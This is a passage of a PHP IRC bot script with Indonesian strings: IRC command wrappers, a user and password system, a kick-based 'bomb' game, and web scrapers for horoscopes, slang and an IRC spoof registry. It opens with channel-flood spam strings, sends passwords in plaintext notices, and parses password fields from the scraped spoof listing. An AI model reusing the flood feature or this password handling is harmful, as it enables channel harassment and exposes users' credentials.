" 4,11Be BeK 5 aD uS 6 kAl I 12W ekZ 13Wek Z 14We k 1ZW ek 15 Wek Z 7Wek Z 9,1B eBe K 13aD uS 12k AlI 4We kZW 11e kZ We 2k ZWe 7k We k 9ZWe k 10Z 8,2Be BeK a 11D uS kA 9lI We 7k ZWe 0k Z We kZ 11We k W e 8kZ We 13kZ 13,9Be Be 1K aD 12u S kA l 3I We 4k ZWe 7kZ Wek 4Z Wek W 2e kZW e 11kZ 12,4 BeB 14e K aD 15u S kA l 5I Wek Z 6We kZ W ek 1ZWek We k 12ZWe k 13Z 11,6 Be 1B eK a Du 2S kA l 3I We 4k ZWe 5k Z We k 7ZWe k 8We kZ 9W ek 10Z 0,14Be BeK 14a DuS k 13Al I W 9e kZ W 4ek Z 11We k 7ZW ek W 8e kZW 9e kZ 4,11B e BeK a 12D uS 3kA l 6I W ek 5ZW ek 15Z We 13kZ Wek W 9ekZ W 2ek Z 9,1B eBe K a 14D uS k 14AlI W 13e kZW e 12kZ W e 11kZW ek 10Wek Z 9We kZ 8,2Be BeK 7aD uS 6k AlI 5 W ek 4Z Wek Z 3 We k 2ZW ek 1W ekZ W 15ek Z 13,9 Be 14B eK 13a DuS k 12A lI W e 10kZW ek 14Z We 8kZ Wek 7 WekZ W 6ek Z 12,7 BeBe K 8aDu S 13kA lI 6We kZ 5Wek Z 4 Wek 3Z Wek 2 We kZ 1W ekZ",
" H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha H a H H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha ",
" 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A",
" @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @",
" 12,8M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H 12M??????H?? M??????H?? M??????H?? 12M??????H?? M??????H?? M?????H?? 12M??????H?? M??????H?? M??????H?? 12M??????H?? M??????H?? M??????H??"
);
return $strflod[rand(0,count($strflod) - 1)];
}
function rnd_slapampun(){
$sampunbot=array("bos mojok yuk!","Am was Here My Owner!! no slaps OK!!","sini? pm aq bos","kenapa bos?!!","wedew","muach..muach...","ciatsssss... hehehe..","slap? pingin di tium ta?","ampun bosss, aku ndak nakal lagi","siaaaappp bos, ada yang bisa saya buantingin? piring, gelas gtu..",
"hiks..nasib?","jadi tukang slap ya, bos?","edan!!!","mama... tolong....","papa... tolong...","ada apa bos!!!, slap? ra ngerti sik kojom apa?","watauuu tega banget kau boss!!!","Siap!!!","aku di sini sayang","lagi enak? kojom dislap ikz.",
"Ready!!","aduh...jangan di slap dong.. pv aja","iya sayang...","Boss JELEK!!!","Ready to command!","scream!!!!","mama... bos Q jahat!","jahat banget sihh..","What Mission?");
return $sampunbot[rand(0,count($sampunbot) - 1)];
}
function rnd_slapme(){
$slapme=array("egk boleh slap ya say...","tak ada ampun buat loh!","nangisooo ae... 4Dont Slap Me!! ","heheheh ciatsssssssssss. tendangan jet lee","Rasakan ini...","Dudutz","yeee...pv aja, gk usah pake slap..");
return $slapme[rand(0,count($slapme) - 1)];
}
function rnd_slapbos(){
$slapbos=array("huneQ jangan dislap!!","Dont slap my bos!!","Kacian Bos Tauw!!!","bosQ masih sibuk","bosQ lagi tidur, mohon jangan di ganggu"," 2 HaKz DeZz.. "," 2 Awas..!!! "," 2 eiT's.. "," 2 HayOo NaKaLs.. ","jangan ganggu boskuuuuuu","ra ngerti bos lagi sibuk apa... ciattttttttttt jwedak");
return $slapbos[rand(0,count($slapbos) - 1)];
}
#### MODULE IRC #######

function send($sock,$msg){fputs($sock,"$msg".CRLF); }
function quit($sock,$msg){if($msg){$this->send($sock,"QUIT :$msg");} else {$this->send($sock,"QUIT");}sleep(1); }
function msg($sock,$to,$msg){$this->send($sock,"PRIVMSG $to :$msg");}
function act($sock,$to,$msg){$this->send($sock,'PRIVMSG '.$to.' :'.' ACTION '.$msg.' ');}
function invite($sock,$to,$chan){$this->send($sock,"INVITE $to $chan");}
function notice($sock,$to,$msg){$this->send($sock,"NOTICE $to :$msg");}
function join($sock,$chan,$kunci=Null){$this->send($sock,"JOIN $chan $kunci"); }
function part($sock,$chan,$msg){if($msg){$this->send($sock,"PART $chan :$msg");} else {$this->send($sock,"PART $chan");} }
function Cycle($sock,$chan,$msg){ if ($msg){$this->part($sock,$chan,$msg);}else{$this->part($sock,$chan,$msg);} sleep(2); $this->join($sock,$chan); }
function nick($sock,$newnick){$this->send($sock,"NICK $newnick"); }
function mode($sock,$mod,$chan,$who){$this->send($sock,"MODE $chan $mod $who"); }
function kick($sock,$chan,$who,$msg){if($msg){$this->send($sock,"KICK $chan $who :$msg");}else{$this->send($sock,"KICK $chan $who");} }
function kickserv($sock,$chan,$who,$msg){$this->msg($sock,"CHANSERV","KICK $chan $who $msg"." "); }
function ban($sock,$chan,$who){$this->mode($sock,$chan,"+b ".$who); }
function unban($sock,$chan,$who){$this->mode($sock,$chan,"-b ".$who); }
function away($sock,$msg){$this->send($sock,"AWAY :$msg"); }
function noaway($sock){$this->send($sock,"AWAY"); }
function topic($sock,$chan,$msg){$this->send($sock,"TOPIC $chan $msg"); }
####################


##########################
function add_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"] = $user_chan_arr[strtolower($chan)]["nick"].' '.$nick. ' ';
$user_chan_arr[strtolower($chan)]["chan"]=strtolower($chan);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function change_nickchan($nick,$newnick){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
$x_chan=$cur_xchan["chan"];
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$nick.' ',' '.$newnick.' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ','',$user_chan_arr[strtolower($x_chan)]["nick"]);
}
return "ok";
}
function del_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(' '.$nick.' ',' ',$user_chan_arr[strtolower($chan)]["nick"]);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function show_nickchan($chan){
global $user_chan_arr;
$res_nick=$user_chan_arr[strtolower($chan)]["nick"];
$res_nick=ltrim($res_nick);
return $res_nick;
}
function show_chan(){
global $user_chan_arr,$bot;
foreach ($user_chan_arr as $cur_xchan) {
$showchn=$cur_xchan["chan"];
if($bot['roomnet']==$cur_xchan["chan"]){$showchn="";};
if($bot['basechan']==$cur_xchan["chan"]){$showchn="";};
if($showchn!=""){$res_chan=$res_chan.';'.$cur_xchan["chan"];}
}
return $res_chan;
}
function destroy_chan($chan){
global $user_chan_arr;
unset ($user_chan_arr[$chan]);
return "ok";
}
function destroy_allchan(){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
unset ($user_chan_arr[$cur_xchan["chan"]]);
}
unset ($user_chan_arr);
return "ok";
}
#####################

function user_list($nick){
global $auth;
$userlist="";
foreach ($auth as $ulist) {if($ulist["name"]){$userlist .= $ulist["name"].'('.$ulist["status"].')';}}
return $userlist;
}
function add_user($sock,$nick,$user,$pass,$level){
global $auth,$bot;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
$level = strtolower($level);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($level=="master" || $level=="user" || $level="admin") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <admin|master|user>');}
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($level=="master" || $level=="user") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <master|user>');}
}
elseif ($auth["$nick"]["status"]=="master") {
if (!$auth["$nick"]["name"]) {
if ($level=="user") {
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
} else { $this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> user'); }
} else { $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); }
} else {$this->notice($sock,$nick,'Unknown Status! Your Status is '.$auth["$nick"]["status"]);}
}
}
function del_user($sock,$nick,$user){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user" || $auth["$user"]["status"]=="admin") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="master") {
if ($auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else { $this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
}
}
function chgpass_user($sock,$nick,$oldpass,$newpass){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
if ($auth["$nick"]["auth"]==2) {
if ($oldpass===$auth["$nick"]["pass"]) {
$auth["$nick"]["pass"] = $newpass;
$this->notice($sock,$nick,'Password set to: 4'.$auth["$nick"]["pass"].' 4');
} else {$this->msg($sock,$nick,'PASSWORD 4!FaILED! ');}
}
}
function level_user($nick){
global $auth;
$nick=strtolower($nick);
if ($auth["$nick"]["status"]=="user"){$stauth=1;}
elseif ($auth["$nick"]["status"]=="master"){$stauth=2;}
elseif (strtolower($auth["$nick"]["status"])=="admin"){$stauth=3;}
elseif (strtolower($auth["$nick"]["status"])=="owner"){$stauth=4;}
else{$stauth=0;};
return $stauth;
}
function is_userbot($nick){
global $auth;
$isuser=0;$nick=strtolower($nick);
if ($auth["$nick"]) {if ($auth["$nick"]["pass"]) {$isuser=1;}}
return $isuser;
}
function is_loginbot($nick,$ident,$host){
global $auth;
$islogin=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($auth["$nick"]["auth"]==2){
if($auth["$nick"]["ident"]==$ident){
if($auth["$nick"]["host"]==$host){
$timelog=time()- $auth["$nick"]["time"];
if($timelog<=3600){ $auth["$nick"]["time"]=time();$islogin=1;}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}
return $islogin;
}
function loginbot($nick,$ident,$host,$pass){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($pass===$auth["$nick"]["pass"]){
$auth["$nick"]["auth"]=2;$auth["$nick"]["time"]=time();$sukseslog=1;
}
}
return $sukseslog;
}
function logoutbot($nick){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
$auth["$nick"]["auth"]=1;$auth["$nick"]["time"]=time();$sukseslog=1;
}
return $sukseslog;
}
###############################

function stuf_ping($sock,$chan,$nick){
global $ping;
$sendping=time();$ping["$sendping"]["ping"] = time();
$ping["$sendping"]["chan"] = $chan;$ping["$sendping"]["nick"] = strtolower($nick);
$this->msg($sock,$nick,' PING '.$ping["$sendping"]["ping"].' ');
}
function stuf_lag($sock,$nick,$dataping){
global $ping;
$dataping=str_replace(chr(1),"",$dataping);$dataping=str_replace("\r","",$dataping);
$dataping=str_replace("\n","",$dataping);$dataping=str_replace(" ","",$dataping);
if ($ping["$dataping"]["ping"]==$dataping && $ping["$dataping"]["nick"]==strtolower($nick)){
$pong = time();$pptime = $pong - $dataping;$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;$meni = floor($bag)."mins ";$sis = $pptime - ($meni*60);$pptime = $sis;
}
$deti = $pptime."secs";$pptime = "$meni$deti";
$this->msg($sock,$ping["$dataping"]["chan"],' 15( pong 04 ! 15) Lag RepLy Bwt '.$nick.' : '.$pptime);
unset($ping["$dataping"]["nick"]);unset($ping["$dataping"]["ping"]);unset($ping["$dataping"]["chan"]);
}
}
#############################
function stuf_potong($sock,$nickna,$chan,$pilwar){
global $warnabenar,$bw,$targetboom,$goboom,$onboom,$chanboom;
$pilihanwar=strtolower($pilwar);$warnabenar=strtolower($warnabenar);
if(strtolower($nickna)==strtolower($targetboom) && strtolower($chanboom)==strtolower($chan)){
if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){
if($warnabenar==$pilihanwar){
$this->msg($sock,$chan,'slamet wes '.$nickna.' , Good Luck!!! Danger was Finish ');
$this->mode($sock,'+vvv',$chan,$nickna);
}
else{
// $this->kickserv($sock,$chan,$nickna,' 0,4BOOOOOOMMMM!!!!! Upss Soryy But Your cut False!!!.');
$this->kick($sock,$chan,$nickna,' 0,4BOOOOOOMMMM!!!!! Sorry Riquest TIme Out!!!.');
}
$goboom=0;$onboom="off";$targetboom="";$chanboom="";
}
}
}
function stuf_bom($sock,$chan,$targetbm){
global $chanboom,$bot,$onboom,$warnaboom,$targetboom,$bw,$goboom,$tmpwbom,$tmboom,$warnabenar,$timeboom;
if(strpos(strtolower($this->show_nickchan($chan)),' '.strtolower($targetbm).' ') && $onboom=="off" && $targetbm!=strtolower($bot['nick'])){
$onboom="on";$goboom=0;$targetboom=$targetbm;$chanboom=$chan;
$tmpwbom=$warnaboom;$wrnb=explode(";",$tmpwbom);
$bw[0]=$wrnb[rand(0,count($wrnb) - 1)];unset($wrnb);
$tmpwbom=str_replace($bw[0],"",$tmpwbom);$tmpwbom=str_replace(";;",";",$tmpwbom);
$wrnb=explode(";",$tmpwbom);
$bw[1]=$wrnb[rand(0,count($wrnb) - 1)];
unset($wrnb);
$tmboom=time();$warnabenar=$bw[rand(0,count($bw) - 1)];
$this->act($sock,$chan,'change BOOM TO '.$targetbm .' '.$warnabenar);
$this->msg($sock,$chan,$targetbm.'!! Your Time [ '.$timeboom.' ] second. Cepat Jinakan BOMnya cuma Ada Tiga Pilihan. '.$bw[0] .', '.$bw[1].' dan Biru');
}
}
#############################
function stuf_ison($sock,$msg){
global $listison,$chanson,$ada2,$ada1;
$listson=strtolower($msg);$xpgetison=explode(" ",$listson);
$i=0;$jmlolol=0;
foreach ($xpgetison as $pgetlist){if($pgetlist){$i++;$sonson[$i]=$pgetlist;$jmlolol=$i;}}
$i=0;
foreach ($listison as $pgetlist){if ($pgetlist){$i++;$lsonson[$i]=$pgetlist;$jmlson=$i;}}
$dafonline="";$dafoffline="";
for ($i = 1; $i <= $jmlson; $i++) {
$satup=$lsonson[$i];$ds=0;
for ($p = 1; $p <= $jmlolol; $p++) {if ($satup==$sonson[$p]){$ds=1;}}
if ($ds==1){if(!$ada1["$satup"]){$dafonline .=$satup.' ';$ada1["$satup"]=true;$ada2["$satup"]=false;}}
else{if(!$ada2["$satup"]){$dafoffline .=$satup.' ';$ada2["$satup"]=true;$ada1["$satup"]=false;}}
}
$dafonline=ltrim($dafonline);$dafonline=rtrim($dafonline);$dafoffline=ltrim($dafoffline);$dafoffline=rtrim($dafoffline);
if ($dafonline){fputs($sock, 'PRIVMSG '. $chanson .' : 15( 04 I son 15) On IRC : '.$dafonline . CRLF);}
if ($dafoffline){fputs($sock, 'PRIVMSG '. $chanson .' : 15( 04 I son 15) Left IRC : '.$dafoffline . CRLF);}
unset($lsonson);unset($sonson);
}
function add_ison($str){
global $listison;
$str=strtolower($str);
if(in_array($str,$listison)){return 0;}
else{array_push($listison,$str);return 1;}

}
function show_ison(){
global $listison;
$str_ison="";
foreach ($listison as $lstr){$str_ison.=$lstr . ' ';}
$str_ison=str_replace(" "," ",$str_ison);$str_ison=ltrim($str_ison);$str_ison=rtrim($str_ison);
return $str_ison;
}
function del_ison($str){
global $listison;
$str_ison="";$str=strtolower($str);
if(in_array($str,$listison)){
foreach ($listison as $lstr){
if(strtolower($str)!=strtolower($lstr)){
$str_ison.=$lstr . ';';
}
}
$str_ison=str_replace(";;",";",$str_ison);$str_ison=ltrim($str_ison,";");$str_ison=rtrim($str_ison,";");
$listison=explode(";",strtolower($str_ison));
return 1;
}
else{return 0;}
}
###############################
function auto_cy($sock){
global $systembot,$user_chan_arr;
$this->send($sock,"PING :88888654476");
foreach ($user_chan_arr as $cur_xchan) {
if($systembot['AUTOCYCLE'][strtoupper($cur_xchan["chan"])]==" 3ON "){
$this->part($sock,$cur_xchan["chan"],$this->rnd_cycle());sleep (2);$this->join($sock,$cur_xchan["chan"]);sleep(3);
}
}
return "";
}

##############################
function mod_astro($astro){
global $zodiak;
$astro = strtolower($astro);
$this->send($sock,"PING :1097658652");
if (in_array($astro, $zodiak)) {
$pages = "http://www.astaga.com/astrologi/?cat=$astro";
$handi = fopen ($pages, "rb");
$konten = "";
do {
$baris = fread($handi, 512);
if (strlen($baris) == 0) { break; }
$konten .= $baris;
} while(true);
fclose ($handi);
$this->send($sock,"PING :1097658651");
$zod1 = stristr($konten,'<td id=ast><p>');
$zod2 = stristr($zod1,'</table>');
$bintang = str_replace($zod2,"",$zod1);
$bintang = str_replace("\n","",$bintang);
$bintang = str_replace("<td id=ast><p>"," ".ucfirst(strtolower($astro))." ",$bintang);
$bintang = str_replace("</p>"," ",$bintang);
$bintang = str_replace("<p><b>"," ",$bintang);
$bintang = str_replace("</b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("<b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("</tr>","",$bintang);
$bintang = str_replace("<tr>","",$bintang);
$zod3 = stristr($bintang,'<td colspan=2 id=ast bgcolor="#e0e0e0">');
$bintang = str_replace($zod3,"",$bintang);
return $bintang;
}
else{
return "Maaf nama bintang yg km masukan tdk ada";
}

}
function mod_uspoof($sock,$msg){
global $isisp,$jmlspoof;
$this->send($sock,"PING :0000927651");
$spoof=strtolower($msg);
$spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof";
///$spallnet="http://localhost/spoof1.html";
$handisp = fopen ($spallnet, "rb");
$kontensp = "";
do {
$barissp = fread($handisp, 512);
if (strlen($barissp) == 0) { break; }
$kontensp .= $barissp;
} while(true);
fclose ($handisp);
$kontensp=strtolower($kontensp);
$kontensp = str_replace(" "," ",$kontensp);
$kontensp = str_replace("\n","",$kontensp);
$kontensp = str_replace(chr(9),"",$kontensp);
$kontensp = str_replace("\r","",$kontensp);
$kontensp = str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$kontensp);
for ($i = 1; $i <= 10; $i++) {$kontensp = str_replace(" "," ",$kontensp);}
$kontensp = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$kontensp);
$tmpjml1=stristr($kontensp,"<tr bgcolor=yellow><td colspan=10 align=right>found ");
$tmpjml2=stristr($kontensp," data</td></tr>");

$tmpjml=str_replace($tmpjml2,"",$tmpjml1);
$tmpjml=str_replace("<tr bgcolor=yellow><td colspan=10 align=right>found ","",$tmpjml);
$kontensp = str_replace("</td> <td>","</td><td>",$kontensp);
$kontensp = str_replace("<tr bgcolor=white> <td align=right>","<tr bgcolor=white><td align=right>",$kontensp);
$kontensp = str_replace("</tr> <tr","</tr><tr",$kontensp);
$kontensp = str_replace(" </td>","</td>",$kontensp);
$kontensp =str_replace("> <td","><td",$kontensp);

for ($i = 1; $i <= $tmpjml; $i++) {
if ($i==$tmpjml){
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=#1b6cf7>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}
else{
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=white>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));

$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}

}
$jmlspoof["$spoof"]=$tmpjml;
return $jmlspoof["$spoof"];
}
function mod_uslang($sock,$msg){
global $kmusedan,$kmjml;
//$urledan="http://localhost/aa.html";
$urledan="http://www.malesbanget.com/kamus/definisi.php?kata=".$msg;
$btsstr='<td class='.chr(34).'BOX'.chr(34).'><span class='.chr(34).'KAMUS'.chr(34).'><span class='.chr(34).'kecil'.chr(34).'>';
$btsstrtab1='<table width='.chr(34).'100%'.chr(34).' border='.chr(34).'0'.chr(34).' cellpadding='.chr(34).'0'.chr(34).' cellspacing='.chr(34).'0'.chr(34).'>';
$btsstrtab2='</table>';
$strsplit='<h2 align='.chr(34).'left'.chr(34).'>';
$kedan = fopen ($urledan, "rb");
$cotedan = "";
do {
$bcotedan = fread($kedan, 1024);
if (strlen($bcotedan) == 0) { break; }
$cotedan .= $bcotedan;
} while(true);
fclose ($kedan);
if(strpos($cotedan,$btsstr)){
$cotedan=substr($cotedan,strpos($cotedan,$btsstr) + strlen($btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,$btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,'<p><span class='.chr(34).'signature'.chr(34).'>'));
$intedan=substr_count($cotedan," ");
for ($i = 1; $i <= $intedan; $i++) {$cotedan=str_replace(" "," ",$cotedan);}
$intedan=substr_count($cotedan,$btsstrtab1);
for ($i = 1; $i <= $intedan; $i++) {
$tmpctedan='';
$tmpctedan=substr($cotedan,strpos($cotedan,$btsstrtab1));
$tmpctedan=substr($tmpctedan,0,strpos($tmpctedan,$btsstrtab2) + strlen($btsstrtab2));
$cotedan=str_replace($tmpctedan,"",$cotedan);
}
if(strpos($cotedan,'</span></span></td>')){$cotedan=substr($cotedan,0,strpos($cotedan,'</span></span></td>'));}
$cotedan=ltrim($cotedan);$cotedan=rtrim($cotedan);
